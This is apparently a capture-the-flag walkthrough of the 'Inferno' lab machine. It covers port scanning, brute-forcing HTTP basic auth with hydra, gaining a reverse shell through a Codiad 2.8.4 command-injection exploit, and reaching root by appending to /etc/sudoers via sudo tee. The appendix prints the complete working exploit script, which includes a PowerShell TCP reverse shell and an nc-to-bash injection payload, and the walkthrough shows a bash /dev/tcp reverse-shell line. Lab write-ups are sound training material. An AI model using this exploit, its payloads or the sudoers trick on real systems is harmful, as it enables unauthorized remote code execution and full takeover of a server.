1. Scanning & Enumeration
We do the below scans in parallel.
1.1. Port Scanning
Not shown: 954 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)
| 256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)
|_ 256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)
23/tcp open telnet?
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Dante's Inferno
88/tcp open kerberos-sec?
106/tcp open pop3pw?
110/tcp open pop3?
389/tcp open ldap?
443/tcp open https?
464/tcp open kpasswd5?
636/tcp open ldapssl?
777/tcp open multiling-http?
783/tcp open spamassassin?
808/tcp open ccproxy-http?
873/tcp open rsync?
1001/tcp open webpush?
1236/tcp open bvcontrol?
1300/tcp open h323hostcallsc?
1309/tcp filtered jtag-server
1805/tcp filtered enl-name
1863/tcp filtered msnp
2000/tcp open cisco-sccp?
2003/tcp open finger?
|_finger: ERROR: Script execution failed (use -d to debug)
2121/tcp open ccproxy-ftp?
2601/tcp open zebra?
2602/tcp open ripd?
2604/tcp open ospfd?
2605/tcp open bgpd?
2607/tcp open connection?
2608/tcp open wag-service?
4224/tcp open xtell?
5051/tcp open ida-agent?
5432/tcp open postgresql?
5555/tcp open freeciv?
5666/tcp open nrpe?
5998/tcp filtered ncd-diag
6346/tcp open gnutella?
6566/tcp open sane-port?
6667/tcp open irc?
|_irc-info: Unable to open connection
8021/tcp open ftp-proxy?
8081/tcp open blackice-icecap?
8088/tcp open radan-http?
9418/tcp open git?
10000/tcp open snet-sensor-mgmt?
10082/tcp open amandaidx?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see 42 serives running. Going through and testing each one of them is not possible.
1.2. Web Enumeration
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt' -t 32 -q -u 10.10.125.29
/index.html (Status: 200) [Size: 638]
/inferno (Status: 401) [Size: 459]
1.3. Web Exploration
We see some quotes, which may be from the inferno book. We can explore them later if needed.
We see the page demanding login and password. Maybe we can try bruteforcing?
Possible usernames:
- admin
- dante (the guy who wrote inferno)
- inferno (the name of the room)
1.4. Bruteforcing
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.125.29 http-get /inferno -t 64
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-26 00:13:47
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-get://10.10.125.29:80/inferno
[STATUS] 6189.00 tries/min, 6189 tries in 00:01h, 14338210 to do in 38:37h, 64 active
[80][http-get] host: 10.10.125.29 login: admin password: {password}
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-26 00:16:05
Great! After logging in, we see another login form. Okay …
1.5. Codiad
Trying out the same creds gets us in. Now I looked for exploits for codiad
.
┌──(kali㉿kali)-[~]
└─$ searchsploit codiad
-------------------------- ---------------------------------
Exploit Title | Path
-------------------------- ---------------------------------
Codiad 2.4.3 - Multiple V | php/webapps/35585.txt
Codiad 2.5.3 - Local File | php/webapps/36371.txt
Codiad 2.8.4 - Remote Cod | multiple/webapps/49705.py
-------------------------- ---------------------------------
Shellcodes: No Results
Let’s try the RCE one!
Running the exploit, we get [-] Login failed! Please check your username and password.
But, we know for a fact that it is correct - otherwise we wouldn’t be able to login! Whats happening?
Recall we had to login another form before we saw this. Maybe adding the header of login password, as we saw before would help.
1.6. Custom Exploit
I first inspect the request itself, by intercepting it using burp suite.
GET /inferno HTTP/1.1
Host: 10.10.125.29
Cache-Control: max-age=0
Authorization: Basic {base64_encoded_authorization}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Looks like the line Authorization: Basic {base64_encoded_authorization}
is the one we are looking for.
Decoing, we get admin:{password}
. Great! Our hypothesis was correct. We just need to add this auth line for all the requests made.
Add the line "Authorization": "Basic {base64_encoded_authorization}"
to headers dictionary wherever present, or create a new one wherever not.
The code is attached at the very bottom.
2. Foothold
2.1. Codilad Custom RCE
Okay finally! Following the instructions we get a reverse shell.
┌──(kali㉿kali)-[~/Desktop/tools/files]
└─$ python3 codiad.py http://10.10.125.29/inferno/ admin {password} 10.17.8.184 1337 linux
[+] Please execute the following command on your vps:
echo 'bash -c "bash -i >/dev/tcp/10.17.8.184/1338 0>&1 2>&1"' | nc -lnvp 1337
nc -lnvp 1338
[+] Please confirm that you have done the two command above [y/n]
[Y/n] y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"admin"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"inferno","path":"\/var\/www\/html\/inferno"}}
[+] Writeable Path : /var/www/html/inferno
[+] Sending payload...
{"status":"error","message":"No Results Returned"}
[+] Exploit finished!
[+] Enjoy your reverse shell!
Looks like the connection was immediately closed. Uh. Let’s try again?
Works! This time as soon as I got in, I spawned a bunch more bash shells. Threw in some /bin/sh
ones as well XD
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
2.2 Exploring
Users
cd /home
ls
dante
SUID
find / -type f -perm -u=s 2> /dev/null
/bin/su
/bin/umount
/bin/ping
/bin/mount
/bin/fusermount
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
crontab
$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
Kernel status
$ uname -a
uname -a
Linux Inferno 4.15.0-130-generic #134-Ubuntu SMP Tue Jan 5 20:46:26 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Upto date
2.3. LinPEAS enumeration
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.21p2
[+] Backup folders
drwxr-xr-x 2 root root 4096 Jun 26 03:55 /var/backups
total 32
-rw-r--r-- 1 root root 30810 Jan 11 15:22 apt.extended_states.0
drwx------ 2 root root 4096 Jan 11 15:19 /etc/lvm/backup
[+] Searching specific hashes inside files - less false positives (limit 70)
/etc/apache2/.htpasswd:$apr1$UIfo4gwg$N4DRURQTtq/wytcy8pdGq.
Nothing that we don’t already know.
2.4. Manual Exploration
$ ls -la /home/dante/Downloads
ls -la /home/dante/Downloads
total 4420
drwxr-xr-x 2 root root 4096 Jan 11 15:29 .
drwxr-xr-x 13 dante dante 4096 Jan 11 15:46 ..
-rw-r--r-- 1 root root 1511 Nov 3 2020 .download.dat
We see some hex characters. Let’s use CyberChef to decode. We get the password for dante user!
dante:{this_is_in_the_last_line!}
3. PrivEsc
┌──(kali㉿kali)-[~]
└─$ ssh dante@10.10.125.29
The authenticity of host '10.10.125.29 (10.10.125.29)' can't be established.
ECDSA key fingerprint is SHA256:QMSVr7PFqk9fLxwYBp9LCg9SjU6kioP9tJbL6ed0mZI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.125.29' (ECDSA) to the list of known hosts.
dante@10.10.125.29's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-130-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jun 26 05:36:39 UTC 2021
System load: 0.0 Processes: 620
Usage of /: 42.2% of 8.79GB Users logged in: 0
Memory usage: 77% IP address for eth0: 10.10.125.29
Swap usage: 0%
39 packages can be updated.
0 updates are security updates.
Last login: Mon Jan 11 15:56:07 2021 from 192.168.1.109
dante@Inferno:~$
Yess! Finally SSH after the ***tty shells. This has the same issue btw, so make sure to spam shells (sh
looks immune, bash gets killed :thonk:).
3.1. sudo
$ sudo -l
Matching Defaults entries for dante on Inferno:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dante may run the following commands on Inferno:
(root) NOPASSWD: /usr/bin/tee
We have it here on GTFOBins.
Here’s the one liner exploit for sudo tee: echo "dante ALL=(ALL:ALL) ALL" | sudo tee -a /etc/sudoers
What happened here?
man tee:
- man page of tee:
tee - read from standard input and write to standard output and files
- -a flag appends data
- we echo the line giving us all the permissions
- and pipe it to sudo tee with the -a flag to append it in the /etc/sudoers file
Resultant:
$ sudo -l
Matching Defaults entries for dante on Inferno:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dante may run the following commands on Inferno:
(root) NOPASSWD: /usr/bin/tee
(ALL : ALL) ALL
Great!
$ sudo su
root@Inferno:/home/dante# sh
# cd /root
# ls
proof.txt
# cat proof.txt
Congrats!
You've rooted Inferno!
{system_compromised}
mindsflee
And we are done!
A. Appendix: RCE Codilad Custom Exploit Code
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)
# Discovery by: WangYihang
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Tested Version: Version: 2.8.4
# CVE: CVE-2018-14009
#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
import base64
session = requests.Session()
def login(domain, username, password):
global session
url = domain + "/components/user/controller.php?action=authenticate"
data = {
"username": username,
"password": password,
"theme": "default",
"language": "en",
}
response = session.post(
url,
data=data,
verify=False,
headers={"Authorization": "Basic {base64_encoded_authorization}"},
)
content = response.text
print("[+] Login Content : %s" % (content))
if 'status":"success"' in content:
return True
def get_write_able_path(domain):
global session
url = domain + "/components/project/controller.php?action=get_current"
response = session.get(
url, verify=False, headers={"Authorization": "Basic {base64_encoded_authorization}"}
)
content = response.text
print("[+] Path Content : %s" % (content))
json_obj = json.loads(content)
if json_obj["status"] == "success":
return json_obj["data"]["path"]
else:
return False
def base64_encode_2_bytes(host, port):
payload = """
$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
$stream = $client.GetStream();
[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
"""
result = ""
for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
result += i + "\x00"
return base64.b64encode(result.encode()).decode().replace("\n", "")
def build_powershell_payload(host, port):
preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")
def exploit(domain, username, password, host, port, path, platform):
global session
url = (
domain
+ "components/filemanager/controller.php?type=1&action=search&path=%s" % (path)
)
if platform.lower().startswith("win"):
# new version escapeshellarg
# escapeshellarg on windows will quote the arg with ""
# so we need to try twice
payload = "||%s||" % (build_powershell_payload(host, port))
payload = "search_string=Hacker&search_file_type=" + payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic {base64_encoded_authorization}",
}
response = session.post(url, data=payload, headers=headers, verify=False)
content = response.text
print(content)
# old version escapeshellarg
payload = "%%22||%s||" % (build_powershell_payload(host, port))
payload = "search_string=Hacker&search_file_type=" + payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic {base64_encoded_authorization}",
}
response = session.post(url, data=payload, headers=headers, verify=False)
content = response.text
print(content)
else:
# payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
payload = "search_string=Hacker&search_file_type=" + payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Authorization": "Basic {base64_encoded_authorization}",
}
response = session.post(url, data=payload, headers=headers, verify=False)
content = response.text
print(content)
def promote_yes(hint):
print(hint)
while True:
ans = input("[Y/n] ").lower()
if ans == "n":
return False
elif ans == "y":
return True
else:
print("Incorrect input")
def main():
if len(sys.argv) != 7:
print("Usage : ")
print(
" python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]"
% (sys.argv[0])
)
print(
" python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]"
% (sys.argv[0])
)
print("Example : ")
print(
" python %s http://localhost/ admin admin 8.8.8.8 8888 linux"
% (sys.argv[0])
)
print(
" python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows"
% (sys.argv[0])
)
print("Author : ")
print(" WangYihang <wangyihanger@gmail.com>")
exit(1)
domain = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
host = sys.argv[4]
port = int(sys.argv[5])
platform = sys.argv[6]
if platform.lower().startswith("win"):
print("[+] Please execute the following command on your vps: ")
print("nc -lnvp %d" % (port))
if not promote_yes(
"[+] Please confirm that you have done the two command above [y/n]"
):
exit(1)
else:
print("[+] Please execute the following command on your vps: ")
print(
"echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d"
% (host, port + 1, port)
)
print("nc -lnvp %d" % (port + 1))
if not promote_yes(
"[+] Please confirm that you have done the two command above [y/n]"
):
exit(1)
print("[+] Starting...")
if not login(domain, username, password):
print("[-] Login failed! Please check your username and password.")
exit(2)
print("[+] Login success!")
print("[+] Getting writeable path...")
path = get_write_able_path(domain)
if path == False:
print("[+] Get current path error!")
exit(3)
print("[+] Writeable Path : %s" % (path))
print("[+] Sending payload...")
exploit(domain, username, password, host, port, path, platform)
print("[+] Exploit finished!")
print("[+] Enjoy your reverse shell!")
if __name__ == "__main__":
main()